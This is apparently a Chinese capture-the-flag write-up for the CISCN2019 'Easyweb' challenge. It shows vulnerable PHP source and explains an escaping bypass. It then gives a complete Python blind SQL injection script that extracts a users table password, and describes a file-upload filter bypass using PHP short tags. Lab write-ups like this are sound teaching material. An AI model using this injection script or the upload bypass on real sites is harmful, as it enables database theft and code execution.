[CISCN2019 总决赛 Day2 Web1]Easyweb
- tags:备份文件、盲注、文件上传
- 难度:困难
首先打开网页是个登录框,随着登录操作框里的图片似乎会变化,查看源代码发现是调用了 image.php 中的内容。扫一下目录发现 robot.txt,有 .bak 后缀的 php 备份文件,访问 index.php.bak 没东西,试了下 image.php.bak,得到源码:
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
参数通过 addslashes() 和 str_replace() 两个过滤,但是没有把 \\ 置空,传入 id=\\0,首先被 addslashes() 转义为 \\\\0,再被 str_replace() 去除掉最后一个 \ ,变成 \\\,拼到 sql 语句中就变成 id=’\\\’,成功转义掉后面的单引号,id 的单引号就跟 path 的第一个单引号匹配,由于 path 也可控,用 # 注释掉 path 的第二个单引号就能用 path 这个参数的位置构造盲注 payload。
盲注脚本:
# blind.py
# Author : imagin
from requests import *
from time import *
s = session()
url = "http://dbd7b58a-b856-45d5-983e-bb2a4fb1ddfb.node3.buuoj.cn/image.php"
res = ""
for x in range(100):
high = 127
low = 32
while high > low:
mid = (high + low) // 2
# 数据库名
# payload = " or id=if(ascii(substr((select database()),%d,1))>%d,1,0)#" % (x, mid)
# ciscnfinal
# 表名
# payload = " or id=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))>%d,1,0)#" % (x, mid)
# images, users
# 列名
# payload = " or id=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),%d,1))>%d,1,0)#" % (x, mid)
# username, password
# passwd
payload = " or id=if(ascii(substr((select group_concat(password) from users),%d,1))>%d,1,0)#" % (x, mid)
# 9ea68881b9eb60bab59e
# 这里需要 urlencode 一下 payload 因此可以吧参数放到 params 中
data = { "id":"\\0", "path":payload }
r = get(url, params=data)
if len(r.text) > 100:
low = mid + 1
else:
high = mid
new_res = res + chr(high)
res = new_res
print(res)
这里有个比较坑的点,requests 请求的时候不会自动帮你 urlencode,如果直接交原始数据的话会导致注入不成功,把注入 payload 放到 get 函数的 params 参数就能实现自动 urlencode。
最后注出来口令是个20位的16进制数,稍微搜了下 DEDECMS 用的哈希算法就是把 md5 裁剪成20位使用,但是按他的算法爆了八位数的数字都没爆出来,正奇怪呢随手粘到登录框里,竟然发现能登录。。。原来网站根本没对密码哈希。
登录上去是个文件上传,会把上传的文件名会保存在一个日志文件中,如果文件名有 / 则会把 / 前的内容置空,同时也不能有 <?php,正好试了试前两天 ctf.show 红包题学到的短标签,用 <?=.*?> 构造 php 代码读取 flag 即可。